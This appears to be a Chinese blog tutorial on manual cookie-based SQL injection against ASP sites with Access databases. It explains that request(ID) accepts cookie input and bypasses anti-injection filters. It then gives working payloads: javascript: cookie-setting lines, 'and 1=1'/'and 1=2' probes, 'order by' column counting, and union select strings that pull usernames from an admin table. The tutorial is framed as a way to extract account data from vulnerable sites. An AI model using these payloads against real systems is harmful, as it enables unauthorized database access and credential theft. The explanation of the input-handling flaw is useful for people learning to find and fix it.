Access之cookie手工注入

cookie注入的原理其实并不复杂。学过ASP语言的应该都知道,在ASP中 例如:

id=request.querystring(ID);

id=request.form(ID);

在正常情况下程序员应该按以上规范进行代码的编写,但是部分程序员,为了方便却将代码写成了如下格式:

id=request(ID);

虽然此时也加了防注入程序。但是,防注入程序并不支持基于cookie提交的数据。而此时代码由于接受任何提交方式,从而导致了cookie注入的产生!下面我来简单演示下cookie手工注入的过程。

首先,我们在存在cookie注入的页面,按其正常地址进行一次完整的访问。完整访问是为了收集其cookie。

图片描述

接着,我们使用JS代码在地址栏将原先的地址替换为如下代码:

javascript:alert(document.cookie=”id=”+escape(“26”));

这句话的意思是修改之前正常页面的cookie值。注意:escape 内的数值必须与ID值相同,同样 id 参数也必须需原地址名保持一致!
图片描述

当我们回车后页面反弹回 JS 弹框,并显示了 id=26 ,说明我们已经修改了cookie。

图片描述

此时,我们打开一个新页面,将之前存在注入的页面地址拷贝到地址栏。注意:这里将后面的id 参数去除后,再进行访问!如图。页面如果依然返回正常,则说明cookie 修改成功!
图片描述

下面我们就可以按正常的思路,来测试其是否真正存在注入。我们回到之前已被我们成功修改cookie的页面!然后我们就可以通过简单的注入语句,来判定注入的存在与否:

and 1=1

and 1=2

注:这里的语句要加在JS语句的ID值后!
图片描述

在证明确实存在注入后,我们就可以开始猜它的列数了:

order by xx

直到页面返回正常!
图片描述

在猜出列数后,我们就可以来继续猜解表名。

javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,6,7,8,9,10 from manage”));

得到表名后,我们继续进行列名的猜解。

javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,username,7,8,9,10 from admin”));

当我们猜解的表名列名均为正确时,我们就可以在页面爆出其账户信息!


你可能感兴趣的:(sql注入,web安全,渗透测试,漏洞)